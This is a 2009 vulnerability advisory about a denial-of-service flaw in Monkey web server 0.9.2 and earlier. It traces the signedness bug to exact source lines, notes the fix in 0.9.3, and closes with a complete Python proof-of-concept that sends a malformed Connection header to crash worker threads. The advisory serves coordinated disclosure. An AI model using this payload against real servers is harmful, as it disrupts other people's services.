Monkey Web Server Denial Of Service

`census ID: census-2009-0004  
URL: http://census-labs.com/news/2009/12/14/monkey-httpd/  
CVE ID: Pending  
Affected Products: Monkey web server versions ≤ 0.9.2.  
Class: Improper Input Validation (CWE-20), Incorrect  
Calculation (CWE-682)  
Remote: Yes  
Discovered by: Patroklos Argyroudis  
  
We have discovered a remotely exploitable "improper input validation"  
vulnerability in the Monkey web server that allows an attacker to  
perform denial of service attacks by repeatedly crashing worker threads  
that process HTTP requests.   
  
Details  
  
Monkey (http://www.monkey-project.com/) is a fast, efficient, small and  
easy to configure HTTP/1.1 compliant web server. It has been designed to  
be scalable with low memory and CPU consumption. More information about  
its features can be found at http://www.monkey-project.com/about.  
  
Monkey (up to and including version 0.9.2) employs an insufficient  
input validation method for handling HTTP requests with invalid  
connection headers. Specifically, the vulnerability is in the  
calculation for the end of the request body buffer related to newline  
characters in function Request_Find_Variable() in the file  
src/request.c.  
  
With a specially crafted request body the pos_init_var integer can take  
the value 0x1c (28 in decimal) and the pos_end_var integer can take the  
value 0x1a (26 in decimal). Then in the m_copy_string() function, the  
calculation for the unsigned integer size in line 428 (file src/utils.c)  
leads to a signedness bug and m_copy_string() returns NULL (line 438,  
file src/utils.c). This causes Request_Find_Variable() to return NULL  
(line 344, file src/request.c) and this to be used in the strstr2() call  
at line 345 of file src/request.c.  
  
This vulnerability can allow an attacker to perform denial of service  
attacks by repeatedly crashing Monkey worker threads that process HTTP  
requests. We have developed a proof-of-concept exploit to demonstrate  
the vulnerability:  
  
http://census-labs.com/media/monkeyex.txt  
  
The maintainer of Monkey has been contacted and a new version of the  
web server (0.9.3) has been released that addresses this issue:  
  
http://www.monkey-project.com/downloads  
  
All affected parties are advised to upgrade to the latest version  
available.  
  
--   
Patroklos Argyroudis  
http://www.census-labs.com/  
  
--------------------------------------------  
  
#!/usr/bin/env python  
# monkeyex.py -- Patroklos Argyroudis, argp at domain census-labs.com  
#  
# Denial of service exploit for Monkey web server version <= 0.9.2:  
#  
# http://census-labs.com/news/2009/12/14/monkey-httpd/  
  
import os  
import sys  
import socket  
  
GET = "GET / "  
  
def main(argv):  
argc = len(argv)  
  
if argc != 3:  
print "usage: %s <host> <port>" % (argv[0])  
sys.exit(0)  
  
host = argv[1]  
port = int(argv[2])  
  
print "[*] target: %s:%d" % (host, port)  
  
payload = GET  
payload += "HTTP/1.1\r\nConnection:\n\r\n\r\n";  
  
print "[*] payload: %s" % (payload)  
  
sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
sd.connect((host, port))  
  
print "[*] attempting to crash one Monkey worker thread.."  
sd.send(payload)  
sd.close()  
  
if __name__ == "__main__":  
main(sys.argv)  
sys.exit(0)  
  
# EOF  
  
`